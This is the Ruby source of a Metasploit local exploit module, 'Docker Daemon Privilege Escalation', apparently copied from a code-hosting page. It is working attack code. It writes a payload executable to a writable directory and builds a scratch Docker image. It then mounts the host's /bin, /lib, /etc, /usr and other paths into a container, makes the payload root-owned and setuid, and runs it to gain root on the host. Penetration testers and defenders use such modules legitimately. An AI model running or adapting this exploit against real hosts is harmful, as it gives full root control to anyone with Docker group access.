74 lines
2.5 KiB
Ruby
74 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info, {
|
|
'Name' => 'Docker Daemon Privilege Escalation',
|
|
'Description' => %q{
|
|
This module obtains root privileges from any host account with access to the
|
|
Docker daemon. Usually this includes accounts in the `docker` group.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['forzoni'],
|
|
'DisclosureDate' => 'Jun 28 2016',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
|
|
'Targets' => [ ['Automatic', {}] ],
|
|
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DefaultTarget' => 0
|
|
}
|
|
))
|
|
register_advanced_options([
|
|
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
|
|
])
|
|
end
|
|
|
|
def check
|
|
if cmd_exec('docker ps && echo true') =~ /true$/
|
|
Exploit::CheckCode::Vulnerable
|
|
else
|
|
print_error("Failed to access Docker daemon.")
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
pl = generate_payload_exe
|
|
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
|
|
print_status("Writing payload executable to '#{exe_path}'")
|
|
|
|
write_file(exe_path, pl)
|
|
register_file_for_cleanup(exe_path)
|
|
|
|
print_status("Executing script to create and run docker container")
|
|
vprint_status cmd_exec("chmod +x #{exe_path}")
|
|
vprint_status shell_script(exe_path)
|
|
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
|
|
|
|
print_status "Waiting #{datastore['WfsDelay']}s for payload"
|
|
end
|
|
|
|
def shell_script(exploit_path)
|
|
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
|
|
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
|
|
|
|
%Q{
|
|
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
|
|
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"
|
|
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
|
|
docker rmi -f $IMG
|
|
#{exploit_path}
|
|
}.strip.split("\n").map(&:strip).join(';')
|
|
end
|
|
end
|